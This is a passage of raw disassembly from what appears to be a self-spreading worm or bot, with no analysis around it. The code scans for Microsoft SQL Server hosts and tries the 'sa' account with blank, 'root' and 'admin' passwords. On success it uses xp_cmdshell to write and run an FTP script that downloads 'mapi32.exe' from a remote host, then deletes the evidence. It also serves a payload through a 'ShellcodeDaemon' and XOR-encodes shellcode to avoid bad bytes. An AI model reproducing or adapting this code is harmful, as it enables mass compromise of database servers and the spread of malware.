call sub_40AC10
add esp, 0Ch
mov word ptr [ebp-10h], 2
push 59Ah
call dword_401230
mov [ebp-0Eh], ax
mov eax, [esi+8]
push edi
push 2
push 2
mov [ebp-0Ch], eax
call dword_401234
mov esi, eax
lea eax, [ebp-10h]
push 10h
push eax
push esi
call dword_401238
cmp eax, 0FFFFFFFFh
push edi
jnz short loc_406E64
call dword_4010EC ; ExitThread
loc_406E64: ; CODE XREF: MEW:00406E5Cj
lea eax, [ebp-610h]
push offset loc_402A14
push eax
call sub_40AC2E
lea eax, [ebp-210h]
push ebx
push eax
lea eax, [ebp-610h]
push eax
call sub_40AC2E
add esp, 18h
add ebx, 75h
lea eax, [ebp-610h]
push edi
push ebx
push eax
push esi
call dword_401244
cmp eax, 0FFFFFFFFh
jnz short loc_406EAB
push edi
call dword_4010EC ; ExitThread
loc_406EAB: ; CODE XREF: MEW:00406EA2j
push esi
call sub_408616
pop ecx
push 1
call dword_4010EC ; ExitThread
push ebp
mov ebp, esp
sub esp, 0C3Ch
mov al, byte_40B078
push ebx
push esi
mov [ebp-1], al
push edi
lea eax, [ebp-10h]
xor edi, edi
push eax
mov esi, offset aSa ; "sa"
push edi
push 1
mov [ebp-34h], esi
mov dword ptr [ebp-30h], offset aRoot ; "root"
mov dword ptr [ebp-2Ch], offset aAdmin ; "admin"
mov dword ptr [ebp-28h], offset byte_40B078
mov [ebp-24h], edi
call sub_40AB88
test ax, ax
jz short loc_406F08
push edi
call dword_4010EC ; ExitThread
loc_406F08: ; CODE XREF: MEW:00406EFFj
push 0FFFFFFFAh
push 3
push 0C8h
push dword ptr [ebp-10h]
call sub_40AB82
test ax, ax
jz short loc_406F25
push edi
call dword_4010EC ; ExitThread
loc_406F25: ; CODE XREF: MEW:00406F1Cj
lea eax, [ebp-0Ch]
push eax
push dword ptr [ebp-10h]
push 2
call sub_40AB88
test ax, ax
jz short loc_406F3F
push edi
call dword_4010EC ; ExitThread
loc_406F3F: ; CODE XREF: MEW:00406F36j
mov eax, esi
test eax, eax
jz loc_4070A8
mov edi, [ebp+8]
lea ebx, [ebp-34h]
mov esi, offset aMapi32_exe ; "mapi32.exe"
loc_406F54: ; CODE XREF: MEW:004070A0j
lea ecx, [ebp-1]
push ecx
push eax
push dword ptr [edi+8]
call sub_40715A
pop ecx
push eax
lea eax, [ebp-838h]
push offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s;UID=sa;PW"...
push eax
call sub_40AB94
add esp, 14h
lea eax, [ebp-1Eh]
push 3
push eax
lea eax, [ebp-0C3Ch]
push 400h
push eax
lea eax, [ebp-838h]
push eax
call sub_40ABD2
pop ecx
push eax
lea eax, [ebp-838h]
push eax
push 0
push dword ptr [ebp-0Ch]
call sub_40AB7C
lea eax, [ebp-8]
push eax
push dword ptr [ebp-0Ch]
call sub_40AB76
push 6
push 1
call sub_40A818
push eax
call sub_40A77F
add esp, 0Ch
push eax
lea eax, [ebp-1Ch]
push offset aS_txt ; "%s.txt"
push eax
call sub_40AB94
add esp, 0Ch
lea eax, [ebp-1Ch]
push eax
lea eax, [ebp-1Ch]
push eax
lea eax, [ebp-1Ch]
push eax
lea eax, [ebp-1Ch]
push esi
push eax
push 0Ah
push 4
call sub_40A818
push eax
call sub_40A77F
add esp, 0Ch
push eax
push 0Ah
push 4
call sub_40A818
push eax
call sub_40A77F
add esp, 0Ch
push eax
lea eax, [ebp-1Ch]
push eax
movzx eax, word_40B0D0
push eax
push dword_40B244
call sub_40715A
pop ecx
push eax
lea eax, [ebp-434h]
push offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'echo open %s "...
push eax
call sub_40AB94
add esp, 30h
push 0FFFFFFFDh
lea eax, [ebp-434h]
push eax
push dword ptr [ebp-8]
call sub_40AB70
test ax, ax
jnz short loc_407098
push dword ptr [ebp-8]
push 3
call sub_40AB6A
lea eax, [ebp-8]
push eax
push dword ptr [ebp-0Ch]
call sub_40AB76
push esi
lea eax, [ebp-1Ch]
push esi
push eax
lea eax, [ebp-434h]
push offset aExecMaster___0 ; "EXEC master..xp_cmdshell 'del %s &%s &c"...
push eax
loc_40707A: ; DATA XREF: MEW:00402804o
; MEW:00402818o ...
call sub_40AB94
add esp, 14h
lea eax, [ebp-434h]
push 0FFFFFFFDh
push eax
push dword ptr [ebp-8]
call sub_40AB70
test ax, ax
jz short loc_4070D0
loc_407098: ; CODE XREF: MEW:00407050j
mov eax, [ebx+4]
add ebx, 4
test eax, eax
jnz loc_406F54
xor edi, edi
loc_4070A8: ; CODE XREF: MEW:00406F43j
lea eax, [ebp-0Ch]
push eax
push 2
call sub_40AB6A
lea eax, [ebp-10h]
push eax
push 1
call sub_40AB6A
lea eax, [ebp-8]
push eax
push 3
call sub_40AB6A
push edi
call dword_4010EC ; ExitThread
loc_4070D0: ; CODE XREF: MEW:00407096j
mov eax, [edi+4]
imul eax, 2Ch
inc dword_402BE8[eax]
lea eax, dword_402BE8[eax]
lea eax, [ebp-0Ch]
push eax
push 2
call sub_40AB6A
lea eax, [ebp-10h]
push eax
push 1
call sub_40AB6A
lea eax, [ebp-8]
push eax
push 3
call sub_40AB6A
push 1
call dword_4010EC ; ExitThread
; =============== S U B R O U T I N E =======================================
sub_40710B proc near ; CODE XREF: sub_407282+255p
push dword_40B0C8
call dword_401254
inc eax
push eax
call dword_4011F4
mov dword_40B0C8, eax
retn
sub_40710B endp
; =============== S U B R O U T I N E =======================================
sub_407125 proc near ; CODE XREF: sub_404530+6CFp
push esi
call dword_4010FC ; GetTickCount
push eax
call sub_40AC3A
pop ecx
call sub_40AC34
mov esi, eax
shl esi, 8
call sub_40AC34
add esi, eax
shl esi, 8
call sub_40AC34
add esi, eax
shl esi, 8
call sub_40AC34
add eax, esi
pop esi
retn
sub_407125 endp
; =============== S U B R O U T I N E =======================================
sub_40715A proc near ; CODE XREF: sub_404530+119p
; sub_404530+16Cp ...
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_401220
retn
sub_40715A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407165 proc near ; CODE XREF: sub_407207+55p
; sub_4096C8+2Bp
var_124 = dword ptr -124h
var_120 = dword ptr -120h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 124h
push ebx
push esi
push edi
and [ebp+var_1], 0
push 1
xor edi, edi
pop ebx
push edi
push ebx
push 2
mov [ebp+var_8], ebx
call dword_401234
push [ebp+arg_4]
mov esi, eax
mov eax, [ebp+arg_0]
mov [ebp+var_20], 2
mov [ebp+var_1C], eax
call dword_401230
mov [ebp+var_1E], ax
lea eax, [ebp+var_8]
push eax
push 8004667Eh
push esi
call dword_40125C
cmp eax, 0FFFFFFFFh
jnz short loc_4071BB
xor al, al
jmp short loc_407202
; ---------------------------------------------------------------------------
loc_4071BB: ; CODE XREF: sub_407165+50j
lea eax, [ebp+var_20]
push 10h
push eax
push esi
call dword_401238
mov eax, [ebp+arg_8]
mov [ebp+var_C], edi
mov [ebp+var_10], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_124]
push edi
push eax
push edi
push edi
mov [ebp+var_120], esi
mov [ebp+var_124], ebx
call dword_4011F0
cmp eax, ebx
jl short loc_4071F8
mov [ebp+var_1], bl
loc_4071F8: ; CODE XREF: sub_407165+8Ej
push esi
call dword_401240
mov al, [ebp+var_1]
loc_407202: ; CODE XREF: sub_407165+54j
pop edi
pop esi
pop ebx
leave
retn
sub_407165 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407207 proc near ; DATA XREF: sub_407282+105o
var_18 = dword ptr -18h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_404428
push offset loc_40ABC0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov esi, [ebp+arg_0]
loc_407233: ; CODE XREF: sub_407207+66j
cmp byte_40B248, 0
jz short loc_407276
loc_40723C: ; CODE XREF: sub_407207+42j
cmp dword ptr [esi], 1
jz short loc_40724B
push 32h
call dword_4010F4 ; Sleep
jmp short loc_40723C
; ---------------------------------------------------------------------------
loc_40724B: ; CODE XREF: sub_407207+38j
mov dword ptr [esi], 2
push dword ptr [esi+0Ch]
mov ax, [esi+8]
push eax
push dword ptr [esi+4]
call sub_407165
add esp, 0Ch
neg al
sbb eax, eax
add eax, 4
mov [esi], eax
jmp short loc_407233
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
loc_407276: ; CODE XREF: sub_407207+33j
or [ebp+var_4], 0FFFFFFFFh
push 0
call dword_4010EC ; ExitThread
sub_407207 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407282 proc near ; DATA XREF: sub_404530+7AEo
var_36 = byte ptr -36h
var_35 = byte ptr -35h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = word ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_404438
push offset loc_40ABC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 28h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov esi, [ebp+arg_0]
cmp byte ptr [esi+1Ch], 0
mov eax, offset aEnabled ; "enabled"
jnz short loc_4072BB
mov eax, offset aDisabled ; "disabled"
loc_4072BB: ; CODE XREF: sub_407282+32j
push eax
push dword ptr [esi+10h]
push dword ptr [esi+0Ch]
push dword ptr [esi+14h]
movzx eax, word ptr [esi+4]
push eax
push dword ptr [esi]
call sub_40715A
pop ecx
push eax
mov eax, dword_40372C
imul eax, 1Ch
push off_401BB0[eax]
push offset dword_402EA8
call sub_405185
add esp, 20h
push 3E8h
call dword_4010F4 ; Sleep
mov ebx, offset dword_40B080
push ebx
call dword_4010D8 ; RtlDeleteCriticalSection
push 80000400h
push ebx
call dword_4010DC ; InitializeCriticalSectionAndSpinCount
test eax, eax
jnz short loc_40732F
push offset aScanner ; "Scanner"
call sub_40A64F
push eax
call sub_40A56C
pop ecx
pop ecx
push 0
call dword_4010EC ; ExitThread
loc_40732F: ; CODE XREF: sub_407282+91j
mov byte_40B248, 1
mov eax, [esi]
mov dword_40B0C8, eax
mov eax, [esi+14h]
lea eax, [eax+eax*4]
shl eax, 2
push eax
call sub_40AC22
pop ecx
mov edi, eax
mov [ebp+var_28], edi
push ebx
call dword_4010E0 ; RtlEnterCriticalSection
xor ebx, ebx
mov [ebp+var_4], ebx
mov [ebp+var_2C], ebx
loc_407361: ; CODE XREF: sub_407282+11Cj
cmp ebx, [esi+14h]
jge short loc_4073A0
lea eax, [ebx+ebx*4]
lea edi, [edi+eax*4]
mov eax, [esi]
mov [edi+4], eax
and dword ptr [edi], 0
mov ax, [esi+4]
mov [edi+8], ax
mov eax, [esi+0Ch]
mov [edi+0Ch], eax
push 0
push 1
push edi
push offset sub_407207
call sub_40A45C
add esp, 10h
mov [edi+10h], eax
inc ebx
mov [ebp+var_2C], ebx
mov edi, [ebp+var_28]
jmp short loc_407361
; ---------------------------------------------------------------------------
loc_4073A0: ; CODE XREF: sub_407282+E2j
; sub_407282+26Cj
cmp byte_40B248, 0
jz loc_4074F3
xor edi, edi
loc_4073AF: ; CODE XREF: sub_407282+264j
mov [ebp+var_2C], edi
cmp edi, [esi+14h]
jge loc_4074EB
push 14h
call dword_4010F4 ; Sleep
lea eax, [edi+edi*4]
mov ebx, [ebp+var_28]
lea ecx, [ebx+eax*4]
mov eax, [ecx]
test eax, eax
jz loc_4074D1
cmp eax, 4
jz loc_4074D1
cmp eax, 1
jz loc_4074E5
cmp eax, 2
jz loc_4074E5
cmp eax, 3
jnz loc_4074D1
mov edx, [esi+8]
test edx, edx
jz loc_4074D1
mov al, [esi+1Ch]
mov [ebp+var_35], al
test al, al
jnz short loc_407449
mov eax, edx
imul eax, 2Ch
cmp byte_402BF0[eax], 0
jz short loc_407449
mov [ebp+var_20], edx
mov ecx, [ecx+4]
mov [ebp+var_1C], ecx
mov cx, [esi+4]
mov [ebp+var_24], cx
push 0
push 1
lea ecx, [ebp+var_24]
push ecx
push off_402BE4[eax]
call sub_40A45C
add esp, 10h
jmp loc_4074D1
; ---------------------------------------------------------------------------
loc_407449: ; CODE XREF: sub_407282+18Bj
; sub_407282+199j
cmp [ebp+var_35], 0
jz short loc_4074A6
and [ebp+var_30], 0
loc_407453: ; CODE XREF: sub_407282+222j
mov eax, [ebp+var_30]
imul eax, 2Ch
mov dx, word ptr dword_402BE0[eax]
test dx, dx
jz short loc_4074D1
cmp byte_402BF0[eax], 0
jz short loc_4074A1
mov cx, [esi+4]
cmp dx, cx
jnz short loc_4074A1
mov edx, [ebp+var_30]
mov [ebp+var_20], edx
lea edx, [edi+edi*4]
mov edx, [ebx+edx*4+4]
mov [ebp+var_1C], edx
mov [ebp+var_24], cx
push 0
push 1
lea ecx, [ebp+var_24]
push ecx
push off_402BE4[eax]
call sub_40A45C
add esp, 10h
loc_4074A1: ; CODE XREF: sub_407282+1EAj
; sub_407282+1F3j
inc [ebp+var_30]
jmp short loc_407453
; ---------------------------------------------------------------------------
loc_4074A6: ; CODE XREF: sub_407282+1CBj
push edi
movzx eax, word ptr [esi+4]
push eax
push dword ptr [ecx+4]
call sub_40715A
pop ecx
push eax
mov eax, dword_40372C
imul eax, 1Ch
push off_401BB0[eax]
push offset dword_402E5C
call sub_405185
add esp, 14h
loc_4074D1: ; CODE XREF: sub_407282+14Ej
; sub_407282+157j ...
lea eax, [edi+edi*4]
lea ebx, [ebx+eax*4]
call sub_40710B
mov [ebx+4], eax
mov dword ptr [ebx], 1
loc_4074E5: ; CODE XREF: sub_407282+160j
; sub_407282+169j
inc edi
jmp loc_4073AF
; ---------------------------------------------------------------------------
loc_4074EB: ; CODE XREF: sub_407282+133j
mov edi, [ebp+var_28]
jmp loc_4073A0
; ---------------------------------------------------------------------------
loc_4074F3: ; CODE XREF: sub_407282+125j
push 2710h
call dword_4010F4 ; Sleep
xor ebx, ebx
loc_407500: ; CODE XREF: sub_407282+296j
mov [ebp+var_2C], ebx
cmp ebx, [esi+14h]
jge short loc_40751A
push 0
lea eax, [ebx+ebx*4]
push dword ptr [edi+eax*4+10h]
call dword_4010E4 ; TerminateThread
inc ebx
jmp short loc_407500
; ---------------------------------------------------------------------------
loc_40751A: ; CODE XREF: sub_407282+284j
mov [ebp+var_34], edi
push edi
call sub_40AC40
pop ecx
jmp short loc_40752D
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
loc_40752D: ; CODE XREF: sub_407282+2A2j
or [ebp+var_4], 0FFFFFFFFh
push offset dword_40B080
call dword_4010E8 ; RtlLeaveCriticalSection
push offset aScanner ; "Scanner"
call sub_40A64F
push eax
call sub_40A56C
pop ecx
pop ecx
push 0
call dword_4010EC ; ExitThread
sub_407282 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407556 proc near ; CODE XREF: sub_407617+59p
; sub_407617+7Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
push ebp
mov ebp, esp
xor edx, edx
push esi
cmp [ebp+arg_4], edx
jbe short loc_407585
loc_407561: ; CODE XREF: sub_407556+2Dj
xor ecx, ecx
cmp [ebp+arg_C], ecx
jbe short loc_40757F
mov eax, [ebp+arg_0]
mov al, [edx+eax]
xor al, [ebp+arg_10]
loc_407571: ; CODE XREF: sub_407556+27j
mov esi, [ebp+arg_8]
cmp al, [ecx+esi]
jz short loc_40758A
inc ecx
cmp ecx, [ebp+arg_C]
jb short loc_407571
loc_40757F: ; CODE XREF: sub_407556+10j
inc edx
cmp edx, [ebp+arg_4]
jb short loc_407561
loc_407585: ; CODE XREF: sub_407556+9j
xor al, al
loc_407587: ; CODE XREF: sub_407556+36j
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40758A: ; CODE XREF: sub_407556+21j
mov al, 1
jmp short loc_407587
sub_407556 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40758E proc near ; CODE XREF: sub_407617+3Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push edi
mov edi, 153h
cmp [ebp+arg_4], edi
jnb short loc_4075A0
xor eax, eax
jmp short loc_407614
; ---------------------------------------------------------------------------
loc_4075A0: ; CODE XREF: sub_40758E+Cj
push esi
call dword_4010FC ; GetTickCount
push eax
call sub_40AC3A
mov esi, [ebp+arg_0]
push edi
push offset dword_402F5C
push esi
call sub_40AC2E
mov eax, [ebp+arg_8]
add esp, 10h
mov [esi+0D3h], eax
push [ebp+arg_C]
call dword_401230
mov [esi+0DAh], ax
mov eax, [ebp+arg_10]
push 7Ah
push 61h
mov [esi+0F6h], eax
call sub_40A818
push 7Ah
push 61h
mov [esi+111h], al
call sub_40A818
push 7Ah
push 61h
mov [esi+112h], al
call sub_40A818
add esp, 18h
mov [esi+113h], al
mov eax, edi
pop esi
loc_407614: ; CODE XREF: sub_40758E+10j
pop edi
pop ebp
retn
sub_40758E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407617 proc near ; CODE XREF: sub_405DB7+61p
; sub_405DB7+32Cp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_4], 16Fh
jnb short loc_407629
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_407629: ; CODE XREF: sub_407617+Cj
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push 1Ch
push offset loc_402F3C
lea ebx, [edi+1Ch]
push edi
mov [ebp+var_4], ebx
call sub_40AC2E
push [ebp+arg_10]
mov esi, 153h
push [ebp+arg_C]
push [ebp+arg_8]
push esi
push ebx
call sub_40758E
mov eax, dword_402F38
add esp, 20h
mov [ebp+arg_4], eax
loc_407662: ; CODE XREF: sub_407617+94j
push 0
lea eax, [ebp+arg_4]
push [ebp+arg_18]
push [ebp+arg_14]
push 4
push eax
call sub_407556
add esp, 14h
test al, al
jnz short loc_40769E
mov eax, [ebp+arg_4]
push 0
push [ebp+arg_18]
xor eax, esi
mov [ebp+var_8], eax
lea eax, [ebp+var_8]
push [ebp+arg_14]
push 4
push eax
call sub_407556
add esp, 14h
test al, al
jz short loc_4076AD
loc_40769E: ; CODE XREF: sub_407617+63j
call sub_40A856
mov [ebp+arg_4], eax
mov dword_402F38, eax
jmp short loc_407662
; ---------------------------------------------------------------------------
loc_4076AD: ; CODE XREF: sub_407617+85j
mov eax, [ebp+arg_4]
mov [edi+3], eax
mov eax, [ebp+var_8]
mov [edi+9], eax
mov bl, byte_402F34
mov byte ptr [ebp+arg_0], bl
loc_4076C2: ; CODE XREF: sub_407617+D4j
push [ebp+arg_0]
push [ebp+arg_18]
push [ebp+arg_14]
push esi
push [ebp+var_4]
call sub_407556
add esp, 14h
test al, al
jz short loc_4076ED
call sub_40A86A
mov bl, al
mov byte ptr [ebp+arg_0], bl
mov byte_402F34, bl
jmp short loc_4076C2
; ---------------------------------------------------------------------------
loc_4076ED: ; CODE XREF: sub_407617+C2j
mov [edi+12h], bl
xor eax, eax
loc_4076F2: ; CODE XREF: sub_407617+E5j
mov ecx, [ebp+var_4]
add ecx, eax
xor [ecx], bl
inc eax
cmp eax, esi
jb short loc_4076F2
pop edi
pop esi
mov eax, 16Fh
pop ebx
leave
retn
sub_407617 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407708 proc near ; DATA XREF: sub_40785E+B3o
var_270 = byte ptr -270h
var_70 = byte ptr -70h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 270h
push ebx
xor ebx, ebx
push edi
mov edi, [ebp+arg_0]
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push edi
call dword_40123C
cmp eax, 4
jz short loc_407732
push ebx
call dword_4010EC ; ExitThread
loc_407732: ; CODE XREF: sub_407708+21j
cmp word ptr dword_402BE0, bx
mov [ebp+var_4], ebx
jz short loc_407756
mov eax, offset dword_402BE0
loc_407743: ; CODE XREF: sub_407708+4Cj
mov ecx, [eax+0Ch]
cmp ecx, [ebp+var_C]
jz short loc_407764
inc [ebp+var_4]
add eax, 2Ch
cmp [eax], bx
jnz short loc_407743
loc_407756: ; CODE XREF: sub_407708+34j
push edi
call sub_408616
pop ecx
push ebx
call dword_4010EC ; ExitThread
loc_407764: ; CODE XREF: sub_407708+41j
lea eax, [ebp+var_70]
push eax
push edi
call sub_40854A
pop ecx
test al, al
pop ecx
jnz short loc_407784
lea eax, [ebp+var_70]
push offset aUnknown ; "unknown"
push eax
call sub_40ABA0
pop ecx
pop ecx
loc_407784: ; CODE XREF: sub_407708+6Aj
push offset dword_4030FC
push offset aMapi32_exe ; "mapi32.exe"
call sub_40AC52
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_8], eax
jnz short loc_4077AB
push edi
call sub_408616
pop ecx
pop edi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_4077AB: ; CODE XREF: sub_407708+92j
push esi
mov esi, 200h
push eax
push esi
lea eax, [ebp+var_270]
push 1
push eax
call sub_40AC4C
add esp, 10h
push ebx
push eax
lea eax, [ebp+var_270]
push eax
push edi
mov edi, dword_401244
loc_4077D4: ; CODE XREF: sub_407708+F8j
call edi ; dword_401244
cmp eax, ebx
jz short loc_407802
cmp eax, 0FFFFFFFFh
jz short loc_407802
push [ebp+var_8]
lea eax, [ebp+var_270]
push esi
push 1
push eax
call sub_40AC4C
add esp, 10h
push ebx
push eax
lea eax, [ebp+var_270]
push eax
push [ebp+arg_0]
jmp short loc_4077D4
; ---------------------------------------------------------------------------
loc_407802: ; CODE XREF: sub_407708+D0j
; sub_407708+D5j
mov esi, [ebp+var_4]
lea eax, [ebp+var_70]
imul esi, 2Ch
inc dword_402BE8[esi]
push eax
lea edi, dword_402BE8[esi]
lea eax, [ebp+var_70]
push eax
call sub_409570
pop ecx
push eax
mov eax, dword_40372C
push dword ptr [edi]
imul eax, 1Ch
push off_402BDC[esi]
push off_401BB0[eax]
push offset dword_4030B0
call sub_405185
push [ebp+arg_0]
call sub_408616
push [ebp+var_8]
call sub_40AC46
add esp, 20h
push ebx
call dword_4010EC ; ExitThread
pop esi
sub_407708 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40785E proc near ; DATA XREF: sub_40933F+171o
var_4940 = byte ptr -4940h
var_491C = byte ptr -491Ch
var_471C = byte ptr -471Ch
var_4718 = byte ptr -4718h
var_2718 = byte ptr -2718h
var_2618 = byte ptr -2618h
var_1848 = byte ptr -1848h
var_1844 = byte ptr -1844h
var_1840 = byte ptr -1840h
var_146C = byte ptr -146Ch
var_1468 = byte ptr -1468h
var_1464 = byte ptr -1464h
var_618 = byte ptr -618h
var_418 = byte ptr -418h
var_218 = byte ptr -218h
var_216 = byte ptr -216h
var_215 = byte ptr -215h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
push 6
push 1
push 2
call dword_401234
mov esi, offset aShellcodedaemo ; "ShellcodeDaemon"
mov edi, eax
push esi
call sub_40A64F
lea eax, [eax+eax*2]
pop ecx
xor ebx, ebx
mov dword_40B0E0[eax*8], edi
mov eax, [ebp+arg_0]
push ebx
movzx eax, word ptr [eax]
push eax
push esi
call sub_40A64F
lea eax, [eax+eax*2]
pop ecx
push dword_40B0E0[eax*8]
call sub_4085A6
add esp, 0Ch
test al, al
jnz short loc_4078C7
push esi
call sub_40A64F
push eax
call sub_40A56C
pop ecx
pop ecx
push ebx
call dword_4010EC ; ExitThread
loc_4078C7: ; CODE XREF: sub_40785E+52j
; sub_40785E+E2j ...
lea eax, [ebp+var_14]
push ebx
push eax
push esi
call sub_40A64F
lea eax, [eax+eax*2]
pop ecx
push dword_40B0E0[eax*8]
call dword_4011F8
push esi
mov edi, eax
call sub_40A64F
lea eax, [eax+eax*2]
cmp edi, 0FFFFFFFFh
pop ecx
mov dword_40B0E4[eax*8], edi
jz short loc_40791E
lea eax, [ebp+var_4]
push eax
push ebx
push esi
call sub_40A64F
lea eax, [eax+eax*2]
pop ecx
push dword_40B0E4[eax*8]
push offset sub_407708
push ebx
push ebx
call dword_4010D4 ; CreateThread
loc_40791E: ; CODE XREF: sub_40785E+9Bj
push esi
call sub_40A64F
lea eax, [eax+eax*2]
pop ecx
push esi
cmp dword_40B0E0[eax*8], 0FFFFFFFFh
jnz short loc_407942
call sub_40A64F
push eax
call sub_40A56C
pop ecx
pop ecx
jmp short loc_4078C7
; ---------------------------------------------------------------------------
loc_407942: ; CODE XREF: sub_40785E+D3j
call sub_40A64F
lea eax, [eax+eax*2]
pop ecx
cmp dword_40B0E0[eax*8], ebx
jnz loc_4078C7
push esi
call sub_40A64F
lea eax, [eax+eax*2]
push dword_40B0E0[eax*8]
call sub_408616
push esi
call sub_40A64F
push eax
call sub_40A56C
add esp, 10h
push ebx
call dword_4010EC ; ExitThread
push ebp
mov ebp, esp
mov eax, 4940h
call sub_40ABE0
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push 7
push offset dword_402260
mov eax, [edi+4]
mov esi, 200h
imul eax, 2Ch
push dword_402BEC[eax]
mov ax, word_40B24A
push eax
lea eax, [ebp+var_618]
push dword_40B244
push esi
push eax
call sub_407617
xor ebx, ebx
add esp, 1Ch
cmp eax, ebx
mov [ebp+var_8], eax
jnz short loc_4079DB
push ebx
call dword_4010EC ; ExitThread
loc_4079DB: ; CODE XREF: sub_40785E+174j
push 10h
lea eax, [ebp+var_18]
push ebx
push eax
call sub_40AC10
mov eax, [edi+8]
add esp, 0Ch
mov [ebp+var_14], eax
mov ax, [edi]
push eax
mov [ebp+var_18], 2
call dword_401230
push ebx
push ebx
push ebx
push 6
push 1
push 2
mov [ebp+var_16], ax
call dword_401200
lea ecx, [ebp+var_18]
push 10h
push ecx
push eax
mov [ebp+arg_0], eax
call dword_401238
cmp eax, 0FFFFFFFFh
push ebx
jnz short loc_407A2F
call dword_4010EC ; ExitThread
loc_407A2F: ; CODE XREF: sub_40785E+1C9j
mov edi, dword_40123C
lea eax, [ebp+var_218]
push 4
push eax
push [ebp+arg_0]
call edi ; dword_40123C
lea eax, [ebp+var_215]
push 1
push eax
lea eax, [ebp+var_4]
push eax
call sub_40AC2E
lea eax, [ebp+var_216]
push 1
push eax
lea eax, [ebp+0]
push eax
call sub_40AC2E
add esp, 18h
lea eax, [ebp+var_218]
push ebx
push [ebp+var_4]
push eax
push [ebp+arg_0]
call edi ; dword_40123C
push esi
lea eax, [ebp+var_418]
push 58h
push eax
call sub_40AC10
mov ebx, 2000h
lea eax, [ebp+var_2618]
push ebx
push 90h
push eax
call sub_40AC10
lea eax, [ebp+var_618]
push 1FFh
push eax
lea eax, [ebp+var_1848]
sub eax, [ebp+var_8]
push eax
call sub_40AC2E
mov edi, offset loc_4023A4
push 2
lea eax, [ebp+var_1848]
push edi
push eax
call sub_40AC2E
push 4
lea eax, [ebp+var_1844]
push offset dword_403168
push eax
call sub_40AC2E
push 5
lea eax, [ebp+var_1840]
push offset dword_403160
push eax
call sub_40AC2E
add esp, 48h
lea eax, [ebp+var_146C]
push 2
push edi
push eax
call sub_40AC2E
push 4
lea eax, [ebp+var_1468]
push offset dword_403158
push eax
call sub_40AC2E
push 5
lea eax, [ebp+var_1464]
push offset dword_403150
push eax
call sub_40AC2E
push 24h
lea eax, [ebp+var_4940]
push offset aA ; ""
push eax
call sub_40AC2E
push esi
lea eax, [ebp+var_418]
push eax
lea eax, [ebp+var_491C]
push eax
call sub_40AC2E
push 4
lea eax, [ebp+var_471C]
push offset dword_403148
push eax
call sub_40AC2E
add esp, 48h
lea eax, [ebp+var_2618]
push ebx
push eax
lea eax, [ebp+var_4718]
push eax
call sub_40AC2E
push 4
lea eax, [ebp+var_2718]
push offset dword_403140
push eax
call sub_40AC2E
add esp, 18h
lea eax, [ebp+var_4940]
push 0
push 222Ch
push eax
push [ebp+arg_0]
call dword_401244
cmp eax, 0FFFFFFFFh
jnz short loc_407BB8
push 0
call dword_4010EC ; ExitThread
loc_407BB8: ; CODE XREF: sub_40785E+350j
push [ebp+arg_0]
call sub_408616
pop ecx
push 1
call dword_4010EC ; ExitThread
sub_40785E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407BC9 proc near ; DATA XREF: sub_40933F+132o
var_444 = dword ptr -444h
var_440 = dword ptr -440h
var_340 = byte ptr -340h
